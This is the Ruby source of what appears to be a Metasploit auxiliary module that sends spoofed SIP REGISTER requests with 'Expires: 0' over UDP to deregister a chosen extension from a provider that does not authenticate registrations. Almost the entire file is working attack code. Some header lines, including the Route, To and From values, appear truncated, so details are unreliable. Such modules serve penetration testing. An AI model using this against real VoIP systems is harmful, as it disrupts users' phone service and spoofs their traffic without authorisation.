## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SIP Deregister Extension', 'Description' => %q{ This module will attempt to deregister a SIP user from the provider. It has been tested successfully when the sip provider/server doesn't use REGISTER authentication. }, 'Author' => [ 'ChrisJohnRiley' ], 'License' => MSF_LICENSE ) deregister_udp_options register_options( [ Opt::RPORT(5060), OptString.new('SRCADDR', [true, "The sip address the spoofed deregister request is coming from",'192.168.1.1']), OptString.new('EXTENSION', [true, "The specific extension or name to target", '100']), OptString.new('DOMAIN', [true, "Use a specific SIP domain", 'example.com']) ]) register_advanced_options( [ OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]), OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060]) ]) end def setup # throw argument error if extension or domain contain spaces if datastore['EXTENSION'].match(/\s/) raise ArgumentError, "EXTENSION cannot contain spaces" elsif datastore['DOMAIN'].match(/\s/) raise ArgumentError, "DOMAIN cannot contain spaces" end end def run_host(ip) begin src = datastore['SRCADDR'] ext = datastore['EXTENSION'] dom = datastore['DOMAIN'] sphost = datastore['SIP_PROXY_NAME'] spport = datastore['SIP_PROXY_PORT'] || 5060 conn_string = "#{ext}@#{dom}" # set Route header if SIP_PROXY is set if not sphost.nil? and not sphost.empty? route = "Route: \r\n" end connect_udp print_status("Sending deregistration packet to: #{conn_string}") print_status("Using SIP proxy #{sphost}:#{spport}") if route req = "REGISTER sip:#{dom} SIP/2.0" + "\r\n" req << route if route req << "Via: SIP/2.0/UDP #{src}" + "\r\n" req << "Max-Forwards: 70" + "\r\n" req << "To: \"#{ext}\"" + "\r\n" req << "From: \"#{ext}\"" + "\r\n" req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n" req << "CSeq: 1 REGISTER" + "\r\n" req << "Contact: *" + "\r\n" req << "Expires: 0" + "\r\n" req << "Content-Length: 0" + "\r\n\r\n" udp_sock.put(req) response = false while (r = udp_sock.recvfrom(65535, 3) and r[1]) response = parse_reply(r) end # print error information if no response has been received # may be expected if spoofing the SRCADDR print_error("No response received from remote host") if not response rescue Errno::EACCES ensure disconnect_udp end end def parse_reply(pkt) # parse response to check if the ext was successfully de-registered if(pkt[1] =~ /^::ffff:/) pkt[1] = pkt[1].sub(/^::ffff:/, '') end resp = pkt[0].split(/\s+/)[1] rhost,rport = pkt[1], pkt[2] if(pkt[0] =~ /^To\:\s*(.*)$/i) testn = "#{$1.strip}".split(';')[0] end case resp.to_i when 401 print_error("Unable to de-register #{testn} [401 Unauthorised]") when 403 print_error("Unable to de-register #{testn} [403 Forbidden]") when 200 print_good("#{testn} de-registered [200 OK]") else print_error("#{testn} : Undefined error code #{resp.to_i}") end return true # set response to true end end